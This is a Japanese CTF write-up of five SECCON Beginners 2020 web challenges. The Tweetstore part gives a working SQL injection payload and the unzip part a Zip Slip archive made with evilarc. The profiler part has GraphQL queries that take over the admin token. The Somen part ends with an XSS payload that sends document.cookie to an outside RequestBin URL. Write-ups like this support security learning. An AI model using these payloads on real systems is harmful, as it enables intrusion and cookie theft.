Spy | 55pt | 441/1009 | AC |
---|---|---|---|
Tweetstore | 150pt | 150/1009 | AC |
unzip | 188pt | 118/1009 | AC |
profiler | 301pt | 59/1009 | AC |
Somen | 421pt | 20/1009 |
ちゃんと月曜日に有給を取ったので復習した。
リアタイで参加して、4完。
Spy
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
app.py
employees.txt
流出した従業員リストと、ログイン画面が与えられる。
解くべき問題は従業員リストの中から、ログイン可能な従業員を探すこと。
それが分かったら/challenge
で、その従業員を答えるとフラグが得られる。
タイミング攻撃
タイミング攻撃を仕掛けることができる。
問題サイトの中でWebページのロード時間が表示されているのがヒントになっている。
タイミング攻撃が成功することのヒントは、与えられているコードにより明白に書いてある。
exists, account = db.get_account(name) if not exists: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
ユーザー名が存在しない場合はif not exists:
スコープでreturnしているが、
存在している場合はauth.calc_password_hashが実行され、マッチしないなら最終行でreturnしている。
重要なことが2つある。
- auth.calc_password_hashはユーザー名が存在する場合にのみ通る
- auth.calc_password_hashはコメントによると、ハッシュ計算をたくさん行っている → 計算に時間がかかる
よって、解法としては、全従業員の名前でログイン試行して、時間がかかるものをログイン可能な従業員としてメモしておけばいい。
時間がかかるものとかからないものでは、かなり時間差があるので、やってみればすぐ判別できる。
他
- kusanoさんが芸術的な全列挙ワンライナーを紹介している
Tweetstore
Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
ctf4bの過去ツイートが見られるサイト。 search word, search limitに色々入れると絞り込みができる。
調査
とりあえずソースコードを見てみると、以下のことが分かる。
- SQL文を作成しているのが見えるので、SQL Injectionかな?(疑惑レベル)
- search wordについては、
'
を\'
に変換してlike句に埋め込んでいる - search limitについては、
;
で分割して最初のものをそのまま埋め込んでいる
- search wordについては、
- DBはPostgreSQL
- DBユーザーがフラグになっているので、これを抜き出す
肝心のSQL作成部分のコードは以下のようになっている。
var sql = "select url, text, tweeted_at from tweets" search, ok := r.URL.Query()["search"] if ok { sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" } sql += " order by tweeted_at desc" limit, ok := r.URL.Query()["limit"] if ok && (limit[0] != "") { sql += " limit " + strings.Split(limit[0], ";")[0] }
SQL Injection (search word)
結論から言うと
/?search=%5C%27%3B%20select%20usename,%20usename,%20now()%20from%20pg_user%3B%20--%20
で抜ける。
URLデコードすると/?search=\'; select usename, usename, now() from pg_user; --
である。
search word部分にインジェクションして抜き取る。
'
を\'
とすることで、シングルクォーテーションを無効化しようとしているのだが、\'
とすると変換後は\\'
となり、'
をうまく残すことができる。そしてその後にflagが書かれているユーザー名を抜き出すためのselect文を書くと結果がマージされて表示される。
ユーザー名がpg_userテーブルのusenameカラムを参照すればいい。
前半のSQL文に合わせて、後半のSQLもstring,string,dateのようにする必要がある。
string,stringについてはusename,usenameとすればいいとして、最後のdateが問題。
ここには現在時刻を指すnow()を入れることで、型を合わせることにしよう。
実行ユーザー名を取り出すだけなら、セッション情報関数を使ってもいい。
SECCON Beginners CTF 2020 write-up - Qiita
SECCON CTF4B 2020 writeup
Beginners CTF 2020 writeup - Qiita
SQL Injection (search limit)
SECCON beginners CTF 2020 writeup - La Vie en Lorse
SECCON for Beginners CTF 2020 writeup - 好奇心の足跡
ここではlimitでBlindSQLを仕掛ける方法が紹介されている。
ついこの前同じような解き方のビデオを見かけたので、それも合わせて紹介しておく。
CTFtime.org / m0leCon CTF 2020 Teaser / Skygenerator / Writeup
unzip
Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint:
index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
(updated at 5/23 17:30) docker-compose.yml
zipアーカイブをアップロードすると、解凍されて中身がサーバに保存されるという仕組み。
解凍後に/?filename=ファイル名
でファイルを開くことができる。
調査
一通りサイトをいじって怪しい所も見当たらないので、添付ファイルを見てみよう。分かることは以下の通り。
- index.php
/uploads/セッションID/
にアップロードファイルが解凍されて保存される/?filename=ファイル名
でファイルを開くことができる- ファイル名は保存時のファイル名と一致するか確認して、一致しないなら
no such file
- ファイル名は保存時のファイル名と一致するか確認して、一致しないなら
- docker-compose.yml
- nginx
- 特に気になる所なし
- php-fpm
- flagは/flag.txtに保存されていて、これを抜ければ勝ち
- nginx
さて、答えに関係ありそうなところを恣意的に残してはいるのだが、
- /flag.txtを抜き取りたい
/?filename=ファイル名
でファイルを開くことができる
という目的と手段が提示されているように見えるので、ディレクトリトラバーサルを試してみよう。
ディレクトリトラバーサル
// return file if filename parameter is passed if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } }
この部分を見てみると、filepathはGETパラメタをそのまま使っているので、ディレクトリトラバーサルが使えそうな感じがする。
user_dirがルートディレクトリとなっているので、/filename=../../flag.txt
を試してみよう。
こうすると、/uploads/セッションID/../../flag.txt
となり、/flag.txt
を指せる。
だが、/filename=../../flag.txt
はno such file
を返す。
ソースコードを見返してみると、アップロードファイル名とあっているかのチェックが行われている。
zipからのアップロードでファイル名が../../flag.txt
となっていればチェックを回避できそうだが、
そんなことが可能だろうか。
Zip Slipみたいにやる
可能である。
他の人のWriteupには出てこないので、ここで出すのが正しいかちょっと自信がないのだが、Zip Slip脆弱性を利用する。
Zip Slip Vulnerability Exploit - YouTube
とってもわかりやすい動画があるので、これをみるとどういうものか分かる。
ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities
これを使って、../../flag.txt
を入れたzipを作成しよう。
PS> python .\evilarc.py flag.txt -d 2 -o unix Creating evil.zip containing ../../flag.txt
そして、これをアップロードすると、システム側では../../flag.txt
のような名前でアップロードされる。
この状態で改めて/filename=../../flag.txt
とするとフラグが表示される。
profiler
Let's edit your profile with profiler! Hint: You don't need to deobfuscate *.js Notice: Server is periodically initialized.
ログインして、プロファイルを作ることができるサイト。
調査
まずはサイトを巡回して情報を集めよう。
- POST
/register
- uid=hamayan&password=hamayan&name=hamayan
- 特に気になる所はない
- POST
/login
- uid=hamayan&password=hamayan
- Set-Cookie: session=eyJ1aWQiOiJ5dWtpIn0.XskzrQ.dCcyHgNKqlPUbz1vU75gIeTyvfQ; HttpOnly; Path=/
- JWTのセッションが帰ってくる
- ちょっとcrackを試してみるが、うまくいかないので、その方針は保留
- 中身は
{ "uid": "hamayan" }
という感じ
- POST
/api
- GraphQLが使われている
- {"query":"query {\n me {\n uid\n name\n profile\n }\n }"}
- {"query":"query { me { uid name profile } }"}
- {query: "query { flag }"}
- GraphQLは簡単に内部構造が簡単に抜けることが知られている
- GET
/flag
- Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).
- tokenという言葉があるが、これは登録時に発行されるもので、プロファイルの更新に用いられる
- tokenは同じid/passを使ってもランダム生成されるっぽい
GraphQL解析
GraphQLを解析してみよう。
prisma-labs/get-graphql-schema: Fetch and print the GraphQL schema from a GraphQL HTTP endpoint. (Can be used for Relay Modern.)
こういうものがあるので、情報を抜き出す。
type Mutation { updateProfile(profile: String!, token: String!): Boolean! updateToken(token: String!): Boolean! } type Query { me: User! someone(uid: ID!): User flag: String! } type User { uid: ID! name: String! profile: String! token: String! }
みると、updateProfileとupdateTokenが公開されている。
updateTokenはadministratorのtokenにせよという要望にあっている気がする。
となると、administratorのtokenが知りたくなるが、Queryにsomeoneというのがあり、これが使えそう。
{"query":"query { someone(uid: \"admin\") { uid name profile token } }"}
これをやると、adminのtokenが抜き出せる。
なので、
{"query":"mutation { updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\") }"}
のような感じでtokenを更新して、/flag
へ見に行くとフラグが表示される。
Somen
Somen is tasty.
https://somen.quals.beginners.seccon.jp
Hint:
worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
index.php (sha1: dffac56c2435b529e1bb60c6f71803aded2051af)
そうめんを食べるサイト…ではなく、人名を入力すると、冷やしそうめんか流しそうめんをリコメンドしてくれるサービス。
調査
- サイト自体
- This page works fine with latest Google Chrome / Chromium.
- わざわざ書いてあるので、2つ目の入力フォームでadminにURLを提示できるが、その時にGoogleChromeで閲覧されるのだろう
- XSS問題であることは間違いなさそうだ
- /?username=入力
- この入力部分をadminに渡してみてもらえる
- encodeURIConmponentとあるが、これはブラウザがいつもやってることなので、特に問題ない
- This page works fine with latest Google Chrome / Chromium.
- worker.js
- setCookieでflagという名前でフラグが格納されていることが分かる
- XSSでクッキーを盗めればフラグが得られる
- あとは特に気になる所はない
- setCookieでflagという名前でフラグが格納されていることが分かる
- index.php
- CSPが設定されている
Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
- usernameパラメタの内容が複数個所にインジェクションされている
- titleの中身
- ただ埋め込んでいる。危なそう
- 本文中
- こちらもただ埋め込んでいる。危なそう
- titleの中身
- security.jsを参照している
- CSPが設定されている
/security.js
- usernameが
^[a-zA-Z0-9]*$
であるかを判定して、これに反するなら/error.php
にリダイレクトする - よって、不正なusernameを与えてもそれ以降は実行されない
- usernameが
的外れだった方針
試しに?username=abc&username=efg
としてみると、titleにはefg
と表示され、本文中にはabc
と表示される。
$_GET["username"]
->efg
new URL(location).searchParams.get("username")
->abc
これは使えそう。?username=a&username=[payload]
で攻撃を仕掛けそう。
んー、CSP超えられない!終わり!
解説を見る
先人たちが爆速でWriteupを出してくれている。ありがたい…
- SECCON beginners CTF 2020 web問 writeup - 空地
- SECCON Beginners CTF 2020 作問者 Writeup (unzip / Somen) – やっていく気持ち
- SECCON Beginners CTF 2020 "Somen" writeup - Qiita
- SECCON Beginners CTF 2020 write-up - Qiita
- SECCON Beginners CTF 2020 writeup - ふるつき
1日も経っていないのに、この充実さですよ。
XSS
- security.js
- secirity.jsは相対パスで読まれているので、baseを変更してやれば違う所を参照させられる
username=</title><base href="https://example.com">
- なるほどーーーーー
- CSP
さて、
</title><base href="https://example.com">
でsecurity.jsを回避する。次に、DOM-based injectionするための受け皿である、id=messageのscriptタグを入れる。
</title><base href="https://example.com"><script id="message"></script>
実行したいjsコードを書く。手元確認のためalert(1)
をやってみる。
普通に入れるだけだと不正なjsコードになるので、いらない部分はコメントアウトする。
alert(1)//</title><base href="https://example.com"><script id="message"></script>
アラートでてきますねぇ!
RequestBinを立ち上げて、いつものコードを入れる。
window.location='http://requestbin.net/r/xxxxx?c='+document.cookie;//</title><base href="https://example.com"><script id="message"></script>
リクエスト来ました。これをadminに送ると、フラグが出てくる。